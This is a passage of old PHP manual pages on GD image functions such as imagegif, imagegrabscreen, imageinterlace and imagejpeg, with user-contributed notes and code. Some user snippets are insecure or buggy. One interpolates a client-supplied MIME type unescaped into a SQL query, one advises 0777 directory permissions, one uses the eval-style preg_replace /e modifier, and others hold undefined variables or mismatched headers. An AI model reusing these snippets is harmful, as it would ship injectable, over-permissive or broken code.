        $icount=0;
        for($count=0;$count<40;$count++) {
                $im=imagecreate(200,200);
                imagecolorallocate($im,0,0,255);
                $white=imagecolorallocate($im,255,255,255);
                imagerectangle($im,$count,$count,200-$count,200-$count,$white);
                $icount++;
                $tcount=sprintf("%04d",$icount);
                imagegif($im,"/tmp/test-$tcount.gif");
                imagedestroy($im);
        }
        exec("/usr/bin/convert -delay 2 -loop 10 /tmp/test*.gif /var/www/html/Tests/Test-Anim.gif");
?>
<img src="/Tests/Test-Anim.gif">
</body>
</html>
Lauri Harpf 23-Jun-2005 09:25
Using <IMG SRC="image.php"> to dynamically generate images is a bit problematic regarding cache. Unless caching is activated, IE seems to get confused about the type of the image when attempting to save it. A .GIF created in the above way causes the browser to suggest saving the image with .BMP, not .GIF.

A solution is to activate cache with session_cache_limiter('public'); in "image.php", after which IE will correctly save as .GIF. If you do not want the cache to block any changes in the dynamic image, make sure that the SRC keeps changing with every reload. Something like "image.php/" . mt_rand(1,100000) . ".gif" seems to work well.

Might be trivial to some, but I spent a couple of hours figuring out why IE always wants to save my dynamic .GIF's as .BMP's.
jemore at nospam dot m6net dot fr 22-Nov-2003 10:24
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
polone at townnews dot com 03-Apr-2002 11:40
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----

I've been playing around with the "data" URL scheme as proposed by RFC 2397 which states how to perform inline, bas64 encoded images. A number of browsers support this format from some of my tests and would be an interesting way of removing overhead from multiple HTTP connections. Basically, the IMG tag would be:

<IMG SRC="/-/data:image/gif;base64,R0lGODdhMAAwAPAAAAAAAP///ywAAAAAMAAw AAAC8IyPqcvt3wCcDkiLc7C0qwyGHhSWpjQu5yqmCYsapyuvUUlvONmOZtfzgFz ByTB10QgxOR0TqBQejhRNzOfkVJ+5YiUqrXF5Y5lKh/DeuNcP5yLWGsEbtLiOSp a/TPg7JpJHxyendzWTBfX0cxOnKPjgBzi4diinWGdkF8kjdfnycQZXZeYGejmJl ZeGl9i2icVqaNVailT6F5iJ90m6mvuTS4OK05M0vDk0Q4XUtwvKOzrcd3iq9uis F81M1OIcR7lEewwcLp7tuNNkM3uNna3F2JQFo97Vriy/Xl4/f1cf5VWzXyym7PH hhx4dbgYKAAA7" ALT="Larry">

Something like that. Note also that I start the URI with "/-/" before the rest of the data scheme spec. If you don't start it with this, it won't work in a lot of the different browsers I tested (such as IE). Note this is useful for very small images only (as most browsers appear to have a limitation on the size of HTML element data of 1024). Browsers where this syntax worked that I tested are the following:

IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)

This should work for other image types as well, such as PNG. JPEG files aren't really suggested (usually, these files are too large). BTW - there is no advantage to this method if the image will appear more than ONCE in the page because you will be transmitting the same data multiple times as opposed to just once (most browsers realize that already downloaded data that has multiple references only requires one HTTP call).

Consider using this method if you want to make a single PHP program that outputs both text and an image AND you want to make only on HTTP call. Cheers.
kremlin at home dot com 26-Feb-2001 09:45
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should use ImageColorTransparent().
david at hooshla dot com 28-Apr-2000 07:45
This is how you load and display an image file:

<?php
Header("Content-Type: image/gif");
$fn=fopen("./imagefile.gif","r");
fpassthru($fn);
?>

Note that there are no new-lines in the content type header.
imagegd
imagegrabscreen
GD and Image Functions


Captures the whole screen

imagegif
imagegrabwindow
GD and Image Functions
PHP Manual

imagegrabscreen

(PHP 5 >= 5.2.2)

imagegrabscreen — Captures the whole screen

Description

resource imagegrabscreen ( void )

Grabs a screenshot of the whole screen.

Return Values

Returns an image resource identifier on success, FALSE on failure.

Examples

Example #1 imagegrabscreen() example

This example demonstrates how to take a screenshot of the current screen and save it as a png image.

<?php
$im = imagegrabscreen();
imagepng($im, "myscreenshot.png");
imagedestroy($im);
?>

Notes

Note:

This function is only available on Windows.

See Also

  • imagegrabwindow() - Captures a window

User Contributed Notes

Nitrogen 12-Dec-2009 07:22
If you have multiple displays set up, this function will only grab the primary display; not all of them like you would with the 'Print Screen' key.

Also, this should be pretty obvious but I'll mention it anyway, if you're running GPU-intensive applications (not CPU), calling this function will cause quite some significant lag to your machine and server response until the request is complete.
andrew at local dot co dot nz 18-Apr-2008 04:02
For this to work your Apache service must be set to 'Allow service to interact with desktop' otherwise you will just get a blank image. To fix this right-click My Computer, select Manage/Services and Applications/Services - find the apache service (like Apache2) and right-click, select Properties - choose the Log on tab and check the 'Allow service to interact with desktop' checkbox. Restart Apache.
imagegif
imagegrabwindow
GD and Image Functions


Captures a window

imagegrabscreen
imageinterlace
GD and Image Functions
PHP Manual

imagegrabwindow

(PHP 5 >= 5.2.2)

imagegrabwindow — Captures a window

Description

resource imagegrabwindow ( int $window_handle [, int $client_area = 0 ] )

Grabs a window or its client area using a windows handle (HWND property in COM instance)

Parameters

window_handle

The HWND window ID.

client_area

Include the client area of the application window.

Return Values

Returns an image resource identifier on success, FALSE on failure.

Errors/Exceptions

E_NOTICE is issued if window_handle is invalid window handle. E_WARNING is issued if the Windows API is too old.

Examples

Example #1 imagegrabwindow() example

Capture a window (IE for example)

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$im = imagegrabwindow($handle);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Capture a window (IE for example) but with its content

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$browser->Navigate("http://www.libgd.org");

/* Still working? */
while ($browser->Busy) {
    com_message_pump(4000);
}
$im = imagegrabwindow($handle, 0);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Notes

Note:

This function is only available on Windows.

See Also

  • imagegrabscreen() - Captures the whole screen

User Contributed Notes

Xeon 29-Sep-2007 08:01
This function was painfully slow when I was testing it on my machine. It took about 2 or 3 seconds for it to return an image. It also fails to work if the Apache service doesn't have access to "Interact with the desktop".
nico ->atdot 29-Sep-2007 08:37
If you just want to take a screenshot of a website WITHOUT the ugly IE window around it, the easiest way is setting the "Fullscreen" property to TRUE.

$browser->Fullscreen = true;

This is basically the same as pressing F11 once the browser is open, so you just get the actual website.
imagegrabscreen
imageinterlace
GD and Image Functions


Enable or disable interlace

imagegrabwindow
imageistruecolor
GD and Image Functions
PHP Manual

imageinterlace

(PHP 4, PHP 5)

imageinterlace — Enable or disable interlace

Description

int imageinterlace ( resource $image [, int $interlace = 0 ] )

imageinterlace() turns the interlace bit on or off.

If the interlace bit is set and the image is used as a JPEG image, the image is created as a progressive JPEG.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

interlace

If non-zero, the image will be interlaced, else the interlace bit is turned off.

Return Values

Returns 1 if the interlace bit is set for the image, 0 otherwise.

Examples

Example #1 Turn on interlacing using imageinterlace()

<?php
// Create an image instance
$im = imagecreatefromgif('php.gif');

// Enable interlancing
imageinterlace($im, true);

// Save the interlaced image
imagegif($im, './php_interlaced.gif');
imagedestroy($im);
?>

User Contributed Notes

null at sgtwilkoNOTMY dot Address dot co dot uk 24-Oct-2008 03:55
As this can't return the existing setting for an image, I had to hunt around but found this code to detect if an image has the progressive bit set.

It's not perfect, but it does the job:-
http://www.corecoding.com/php-jpeg-progressive-check_c28.html
Gerry Danen 24-Jan-2007 05:20
It was suggested that this function can be used to retrieve the interlace bit of an image that is stored in a file. This is not the case.
While imageinterlace() returns 0 or 1 if a valid Image resource is passed, passing a file name as a string results in a PHP warning and the return value is neither 0 nor 1.
julien / at / theoconcept.com 29-Jan-2006 02:33
This function is useful when working with Ming, as SWFBitmap constructor will use a NON INTERLACED Jpeg file, so you have to use imageinterlace(0);
mangobrain.co.uk 17-Jan-2006 02:03
dr_snapid's comment that "the server sends every Nth line" is not entirely true. A web server need not know anything about the contents of the file it is sending; its job is simply to send the data. Rather, the image is created in such a way that the data corresponding to "every Nth line" appears at the beginning of the file, with the details becoming able to be filled in as more of the file is received by the browser. In PHP's case, the data may have been generated dynamically instead of pulled from a file, but this does not change the fact that it is the data itself that is different, not the manner in which it is sent.*

In fact, with JPEG, it is less "every Nth line", and more "every Nth pixel", where N is gradually decreased, resulting in a grid that gets progressively more fine-grained as the data is received (hence the appearance of a low res image becoming more detailed). The browser basically estimates what goes in the gaps between pixels, probably by simply blending between the colours, whilst the "real" data continues arriving. This is a fundamentally different method for encoding the data when compared to non-progressive JPEGs, and coupled with the format's other compression techniques, may indeed result in a different file size.

*Can you imagine how much more buggy the Web would be if servers were expected to send different file types using different algorithms, and browsers were expected to be able to receive every one of them?
dr_snapid at mxm dot com dot au 21-Nov-2005 08:16
Interlacing doesnt store another image, it simple changes the order in which the images lines are sent and rendered. The server sends every Nth line, reaches the end, then goes back to the start, reading the lines in between.

After each pass the browser displays the downloaded lines, plus filles the lines not yet received the same, but with each pass the gaps being filled get smaller and the image sharpens. After several passes every line has been read, and the browser has rendered the image in full detail.

Hope that makes sense, it does explain why there should not really be any difference in filesize, so I cant explain why some people have observed a file size difference.

As I understand it, there is only 1 bit in the file which says if its interlaced or not, and the server and client (browser) just handle it differently if it is set to 1.
thomas dot brandl at barff dot de 15-Jul-2005 12:28
Set imageinterlace() to 0 if you need to load the generated images in Flash. Flash does not support progressive JPEGs
drake127 11-Jun-2005 03:51
Interlancing works also with PNG files but it increase filesize (from 14.4M to 17.7M).
mironto at mironto dot sk 19-Nov-2004 06:17
just to add my 5 cents on the progressive principle of jpeg: there are no several lowres images stored in jpeg along with original picture, the only thing altered is the order of "pixels". in jpeg the image is divided in areas 8x8 pixels, so instead of linear order of pixels (row-by-row), first there is one pixel form each 8x8 area included in the begining of the image data stream, so when the browser recieves all 8x8 area pixels, it can display "pixelate" image and as soon as it recieves more data, the browser can add more pixels and "sharpen" the image.
manuel.warum at edu.uni-klu.ac.at 15-Apr-2004 10:41
About MichaelSoft's note "Imageinterlace($im, 1) creates a JPG which is first loaded completely before showing anything":

Actually, that's not completely true.
This only happens with Internet Explorer (any version, for the time being) as it doesn't seem to support progressive displaying and rather shows the image, when it's 100% done with loading. Other browsers (Mozilla, Mozilla Firefox, Opera, Konqueror, etc.) do their job as they're supposed to do: Displaying a very low-res image, then overlaying a midlow-res image (while loading), and then displaying more and more details.
ben dash xo at dubplates dot org 19-Mar-2004 06:25
There is a bug in Microsoft Internet Explorer (at least at present) that means that often, a progressive/interlaced JPEG will actually NOT show at all whilst loading, suddenly appearing only when the entire picture has loaded. A regular NON-interlaced/NON-progressive JPEG will display line by line as it loads, which paradoxically gives the illusion that it's loading faster. MSIE definitely has this one backwards!!

This behaviour is not apparent in other browsers such as Mozilla/FireFox - in these browsers, the image loads progressively, as it should.
PHPProgrammer 24-Nov-2003 06:21
Using the interlace-option reduces the filesize! (doesnt really match with the idea that an additional low-res-image is stored)
imagegrabwindow
imageistruecolor
GD and Image Functions


Finds whether an image is a truecolor image

imageinterlace
imagejpeg
GD and Image Functions
PHP Manual

imageistruecolor

(PHP 4 >= 4.3.2, PHP 5)

imageistruecolor — Finds whether an image is a truecolor image

Description

bool imageistruecolor ( resource $image )

imageistruecolor() finds whether the image image is a truecolor image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Returns TRUE if the image is truecolor, FALSE otherwise.

Examples

Example #1 Simple detection of true color image instances using imageistruecolor()

<?php
// $im is an image instance

// Check if image is a true color image or not
if(!imageistruecolor($im))
{
    // Create a new true color image instance
    $tc = imagecreatetruecolor(imagesx($im), imagesy($im));

    imagecopy($tc, $im, 0, 0, 0, 0, imagesx($im), imagesy($im));
    imagedestroy($im);

    $im = $tc;
    $tc = NULL;
}

// Continue working with image instance
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

There are no user contributed notes for this page.
imageinterlace
imagejpeg
GD and Image Functions


Output image to browser or file

imageistruecolor
imagelayereffect
GD and Image Functions
PHP Manual

imagejpeg

(PHP 4, PHP 5)

imagejpeg — Output image to browser or file

Description

bool imagejpeg ( resource $image [, string $filename [, int $quality ]] )

imagejpeg() creates a JPEG file from the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

To skip this argument in order to provide the quality parameter, use NULL.

quality

quality is optional, and ranges from 0 (worst quality, smaller file) to 100 (best quality, biggest file). The default is the default IJG quality value (about 75).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a JPEG image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/jpeg
header('Content-Type: image/jpeg');

// Output the image
imagejpeg($im);

// Free up memory
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Outputting a JPEG image

Example #2 Saving a JPEG image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Save the image as 'simpletext.jpg'
imagejpeg($im, 'simpletext.jpg');

// Free up memory
imagedestroy($im);
?>

Example #3 Outputting the image at 75% quality

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// Set the content type header - in this case image/jpeg
header('Content-Type: image/jpeg');

// Skip the filename parameter using NULL, then set the quality to 75%
imagejpeg($im, NULL, 75);

// Free up memory
imagedestroy($im);
?>

Notes

Note: JPEG support is only available if PHP was compiled against GD-1.8 or later.

Note:

If you want to output Progressive JPEGs, you need to set interlacing on with imageinterlace().

See Also

  • imagepng() - Output a PNG image to either the browser or a file
  • imagegif() - Output image to browser or file
  • imagewbmp() - Output image to browser or file
  • imageinterlace() - Enable or disable interlace
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

dodgeit2 at yahoo dot com 21-Aug-2011 11:33
Problem: The URL of the current page is displaying in the browser window as an image file. At the same time your manipulated image saves to a file.

Solution: Start with removal of the header() function if you plan to output to a file. The browser is expecting image information; therefore, if you are outputting to a file, you don't need a header() function at all.

If you are outputting to the browser check your imagejpeg() for parameter 2. Set it to 'null' if it has a file name.

Many of the examples programmers illustrate on the web output to the browser and do not save anything to the file system, therefore, the header() function seems essential to image manipulation for the first-time user of the GD library.

This page actually clearly shows the difference between "outputting" to a browser and "saving" to a file, but the code comments don't clearly state what the difference is.

Search for the page on the "header()" function on this website for more details.

Example: Let's say that you are outputting to a jpeg using imagejpeg(). Note the use of the header() function when outputting to the browser.

<?php

/*
more
code
to
make
it
work
*/

// These just illustrate the different outputs.

// outputting to the browser
// header() needed for browser
header('Content-Type: image/jpeg')
imagejpeg($im);

// saving to a file
// you do not need a header() function to save to a file
imagejpeg($im, "../images/image001.jpg");

// outputting to the browser including quality parameter.
// skipping parameter2 to output to browser
header('Content-Type: image/jpeg');
imagejpeg($im, null, 90);

// saving to a file including quality parameter.
// all parameters used for saving to a file with quality adjustment
imagejpeg($im, "../images/image001.jpg", 90);

?>
Jan 26-May-2011 01:53
It seems 'imagejpeg' cannot write to streams.

Beside rendering the image to the response (with $filename=null) and writing it to $filename, I tried to write the image to a stream.

However I can successfully open my stream using

<?php $fp = fopen("var://myvar", "r+"); ?>

but trying to write my image to the stream using

<?php imagejpeg($myImage, "var://myvar"); ?>

will cause the error "imagejpeg(): Unable to open 'var://myvar' for writing: No such file or directory"
bernytech at gmail dot com 05-May-2011 03:32
Don't be like me racking my brain for hours trying to figure out why my xxx.php file outputs http://localhost/xxx.php as a one line response.

Why?

Most likely, you have either:

1. whitespaces before or after the php tags
2. need to set header('Content-type: image/jpeg');
3. if you have required files...be sure nothing is outputted...no test print statements because page expects image information
4.  there is an error in your code

in my case, it was 4.  there is a reason why the function call base64decode does not work...

it's actually: base64_decode()

by the way, other ways to validate your image encoded in base64 is to use the following tag:

echo '<img src="data:image/jpeg;base64,'.$row['IMAGE'].'" alt="photo">';

I was pulling a blob encoded base 64 data from mysql database and trying to render it on a page

hope this helps someone.
Ray.Paseur sometimes uses Gmail 22-Sep-2010 03:06
If string $filename is given and it exists, it will be overwritten.
hikmet1023 at hotmail dot com 16-Mar-2010 08:46
WARNING for those who use utf-8 scripts:
Before going crazy like me for a whole day and digging around configuration files etc.

DIRECT BROWSER OUTPUT using imagejepeg worked only after i have saved my script in ANSI instead of utf-8
someone at anydomain dot com 01-Aug-2009 01:20
I am using the following function for creating thumbnail(s). it works fine. I just want all the thumbnails a contant height so that they fit in a line. the only problem is that it can only output one image to the browser only. how can it be used to output multiple images.

<?php
function resizeImage($originalImage,$new_height){

    // Get the original geometry and calculate scales
    list($width, $height) = getimagesize($originalImage);
        $new_width = round(($width * $new_height) / $height);

    // Resize the original image
    $imageResized = imagecreatetruecolor($new_width, $new_height);
    $imageTmp     = imagecreatefromjpeg ($originalImage);
    imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    // Output
    imagejpeg($imageResized, null, 100);
    imageDestroy($imageResized);
    return;
}

resizeImage("IMG_0158.JPG",100); //this one shows on the browser
resizeImage("IMG_0159.JPG",100); //this one, and any subsequent ones, do not show up on the browser

?>
Anonymous 30-Jul-2009 03:16
I wanted a function that could resize an image and store the resulting thumbnail in a variable so I could manually save it. Here is the function. I basically strung together two snippets, one from this website (I think) and one by MrCoder here: http://www.webdeveloper.com/forum/showthread.php?t=188298.

<?php
function resizeToVariable($sourceImage,$newHeight,$newWidth,$destImage)
{
    list($width,$height) = getimagesize($image);
    $img = imagecreatefromjpeg($sourceImage);
    // create a new temporary image
    $tmp_img = imagecreatetruecolor($newHeight,$newWidth);
    // copy and resize old image into new image
    imagecopyresized( $tmp_img, $img, 0, 0, 0, 0,$newHeight,$newWidth, $width, $height );
    // use output buffering to capture outputted image stream
    ob_start();
    imagejpeg($tmp_img);
    $i = ob_get_clean();
    // Save file
    $fp = fopen ($destImage,'w');
    fwrite ($fp, $i);
    fclose ($fp);
}
?>

You can use this for all your image resizing tasks. I for some reason had a problem using imagejpeg to save the image directly.
tomas at dundacek dot cz 08-Jun-2009 01:31
I had a problem with denied permissions when trying to upload AND resize an image having safe_mode on. This caused that I couldn't create the new file in which I wanted to resampled the image with nor with imagejpeg() nor with touch() and imagejpeg() after it.

Here is my solution, I didn't test, but it's possible, it is biting some memory:

<?php
function resize($image, $target_file) {
  // $image is the uploaded image
  list($width, $height) = getimagesize($image['tmp_name']);

  //setup the new size of the image
  $ratio = $width/$height;
  $new_height = 500;
  $new_width = $new_height * $ratio;

  //move the file in the new location
  move_uploaded_file($image['tmp_name'], $target_file);

  // resample the image
  $new_image = imagecreatetruecolor($new_width, $new_height);
  $old_image = imagecreatefromjpeg($target_file);
  imagecopyresampled($new_image,$old_image,0,0,0,0,$new_width, $new_height, $width, $height);

  //output
  imagejpeg($new_image, $target_file, 100);
}

?>

As you can see, the function moves the uploaded file where you want to save the resampled image (move_uploaded_file is not restricted by safe_mode) and then you can resample the image, because it was created by moving it already.

Note: the directory where you want to save the file must have permissions set to 0777.
viciousVelo 06-Apr-2009 07:49
for those who get the message "permission denied" or "unable to access": it looks like a problem with your writepermissions to this folder. no matter if you use windows- or linuxserver, be sure the correct user has the permission to write to the correct folder.
francesco@essensys 26-Mar-2009 05:23
I didn't find any example like this on the Web, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF, then set if Transparent*/
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() only has two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
soapergem at gmail dot com 06-Nov-2008 01:48
I came here looking for something similar to the getJPEGresolution function, but noticed the drawbacks that were pointed out in the last post. So, after drawing on some other code examples on the web, I put together the following function which should always properly return the correct values. (But remember that you still need to have the EXIF extension installed with your instance of PHP for this to work!)

<?php

function jpeg_dpi($filename)
{
    if ( exif_imagetype($filename) != IMAGETYPE_JPEG ) {
        return false;
    } else {
        $exif = exif_read_data($filename, 'IFD0');
    }

    $x = $y = 0;
    if ( isset($exif['XResolution']) && isset($exif['YResolution']) ) {
        $x = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['XResolution']));
        $y = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['YResolution']));
    }

    if ( !$x && !$y && $fp = fopen($filename, 'r') ) {
        $string = fread($fp, 20);
        fclose($fp);

        $data = bin2hex(substr($string, 14, 4));
        $x = hexdec(substr($data, 0, 4));
        $y = hexdec(substr($data, 4, 4));
    }

    if ( $x || $y ) {
        return array($x, $y);
    }

    return false;
}

?>

This function returns an array with the x-resolution, y-resolution when they can be determined, otherwise FALSE.
ahows at noggin dot com dot au 21-Oct-2008 10:36
Regarding the code below, it only grabs the last byte of the DPI information in JFIF-mode. I was wondering why my 300-DPI file was being reported as 44. 300 - 256 = 44 of course.
lorezyra (at) lorezyra (dot) com 13-Sep-2008 07:57
I noticed through testing that my previous function would not always return the data requested... this is due to the fact that some cameras and software dont correctly write the DPI info in the JFIF header... So, my 2nd solution is to read the exif info (if available) and output the first non-zero value as the DPI...

<?PHP
function getJPEGresolution($filename){
    if(exif_imagetype( $filename)!= IMAGETYPE_JPEG) return(false);
    $outRez=array();
    // Read the file
    $exif = exif_read_data($filename, 'IFD0');

    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = (int)(ord($image[15])>0? ord($image[15]) : $exif['XResolution'] );
    $outRez["yDPI"] = (int)(ord($image[17])>0? ord($image[17]) : $exif['YResolution'] );
    ob_end_clean(); // stop this output buffer

    //correct output if header doesn't contain dpi info:: use exif info instead
    $outRez["xDPI"] = ($outRez["xDPI"]>0? $outRez["xDPI"] : $exif['THUMBNAIL']['XResolution'] );
    $outRez["yDPI"] = ($outRez["yDPI"]>0? $outRez["yDPI"] : $exif['THUMBNAIL']['YResolution'] );

    //double check values; make sure it's just a number and not "72/1" ...
    if(!is_numeric($outRez["xDPI"])) $outRez["xDPI"] = (int)substr($outRez["xDPI"], 0, strpos($outRez["xDPI"],"/",1));
    if(!is_numeric($outRez["yDPI"])) $outRez["yDPI"] = (int)substr($outRez["yDPI"], 0, strpos($outRez["yDPI"],"/",1));

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
lorezyra (at) lorezyra (dot) com 13-Sep-2008 06:50
For those looking to grab the resolution of a JPEG image without using GD nor ImageMagic... I wrote this simple function.

Too bad GD doesn't have this very simple function for us to use...

<?php
function getJPEGresolution($filename){
    $outRez=array();
    // Read the file
    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = ord($image[15]);
    $outRez["yDPI"] = ord($image[17]);
    ob_end_clean(); // stop this output buffer

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
stefan at colulus dot com 30-May-2008 11:16
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagejpeg($im);

?>
xavi at lapalomera dot com 21-May-2008 11:11
For those whom needs other dpi image than the GD library, just do the following:

<?php
//Get jpeg image contents
ob_start();
imagejpeg($image, "", 100);
$image = ob_get_contents();
ob_end_clean();

//Or read jpeg image
$image = file_get_contents($file);

//Replace header image info to set DPI as units and the density for X and Y
//First parameter are units for X and Y densities (0x00 No units, 0x01 DPI, 0x02 DPC)
//Second parameter is the X density
//Third parameter is the Y density
$image = substr_replace($image, pack("Cnn", 0x01, 300, 300), 13, 5);

header("Content-type: image/jpeg");
header('Content-Disposition: attachment; filename="'.basename($file).'"');

echo $image;
?>
gcc dot programmer at gmail dot com 27-Mar-2008 09:24
The following was developed using Mac OSX ( Linux ).  The ghostscript call would have to be changed on a Windows box...

In an application I was developing, I needed to create .jpg thumbnails from .pdf uploaded files.  After some research, I found one easy way to accomplish this was ( SIMPLIFIED ):

<?php
     exec("sw/bin/gs -q -dNOPAUSE -dBATCH -sDEVICE=jpeg
              -sOutputFile=test.jpg theFile.pdf");
?>

This of course assumes that ghostscript is installed on the server, you have permissions, yada...

Essentially this calls on ghostscript to do the conversion.

So, then, once the new .jpg is created, it needed to be resized to accomodate the UI.  Though I could easily do it from the command line with "convert", I was having issues using this command from PHP ( it's not my first language ).  I found this thread while groping for a different method, and found an unworkable solution that stimulated me to write the following:

( commented out lines were for debug, but might prove instructional for your own purposes, so I left them in )

[This function takes in a .jpg file to be converted to a thumbnail, the new width you want the thumbnail to be, and the name to which you want the thumbnail saved.  It then creates the thumbnail]

<?php
     function createImage( $upload, $newWidth, $name )
     {
          if (!$info = getimagesize($upload) )
               return false;
          //echo "width: "  . $info[0] . "<br/>";
          //echo "height: " . $info[1] . "<br/>";

          //create crude aspect ratio:
          $aspect = $info[0] / $info[1];
          $newHeight = round( $newWidth/$aspect );
          //echo "$newHeight <br/>";

          $src = @imagecreatefromjpeg("$upload");
          if ( !$src )
               return false;

          $tmp = @imagecreatetruecolor( $newWidth, $newHeight );
          imagecopyresampled( $tmp, $src, 0, 0, 0, 0, $newWidth,
                                         $newHeight, $info[0], $info[1] );

          imagejpeg( $tmp, $name, 100 );
          imagedestroy( $src );
          imagedestroy( $tmp );
          return true;
     }

?>

$upload = the path to the file you want to make a thumbnail from.

$newWidth = the width of your thumbnails.

$name = the path ( including name ) of the thumbnail you're creating.

If I have test.jpg in my servers root directory, and I want a thumbnail
with a width of 120 pixels, with the name thumb.jpg also to be saved
in the servers root directory, I'd call this function thus:

<?php
     createImage("test.jpg", 120, "thumb.jpg");
?>

I hope this makes life easier for somebody.
Anonymous 16-Mar-2008 10:24
Here is a function to resize an image and maintain aspect ratio. It will resize jpeg, gif or png and could easily be modified to add bmp. The name field is the destination of the file minus the file extension:

<?php
//name= filename minus type
    function createImage($uploadedfile,$newWidth,$name)
    {
        // Capture the original size of the uploaded image
        if(!$info=getimagesize($uploadedfile))
          return false;

        switch ($info['mime'])
        {
            case 'image/jpeg':
